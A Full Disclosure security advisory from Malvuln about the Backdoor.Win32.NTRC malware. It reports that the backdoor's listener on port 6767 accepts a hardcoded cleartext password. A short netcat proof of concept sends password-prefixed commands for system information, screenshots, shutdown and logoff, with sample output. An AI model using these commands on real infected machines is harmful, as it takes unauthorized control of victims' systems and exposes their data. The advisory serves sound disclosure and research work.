full-disclosure - [FD] Backdoor.Win32.NTRC / Weak Hardcoded Credentials

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Message-ID: <CAAHK0WTWqNWHk0y3K9qGfrrS9einFKZidQDACLb_aBHaHQHTZQ@mail.gmail.com>
Date: Sun, 2 Oct 2022 01:40:53 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NTRC / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NTRC
Vulnerability: Weak Hardcoded Credentials
Family: NTRC
Type: PE32
MD5: 273fd3f33279cc9c0378a49cf63d7a06
Vuln ID: MVID-2022-0646
Disclosure: 10/02/2022
Description: The malware listens on TCP port 6767. Authentication is
required, however the password "Please change me" is weak and hardcoded in
cleartext at offset 0045E520. Commands get executed by sending the password
delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command
SendScreen dumps screenshot as .BMF file, to get the next part of the file
issue SendScreenNextPart.

0045E520                 dd 16                   ; Len
0045E520                 db 'Please change me',0 ; Text
0045E539                 align 4

Exploit/PoC:
C:\>nc64.exe x.x.x.x 6767
SendScreen
SendScreenNextPart
Stop

Please change me;Shutdown;
Error;Can not shutdown the server. Please contact the author at
borgo@...foot.com
Please change me;Logoff;

Please change me;SystemInfo;
SystemInfo;6.2;9200;Windows
NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium

Please change me;SystemInfo2;
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88
Mb;1893.88 Mb;D

Please change me;Logoff;
FolderMonitorChanged

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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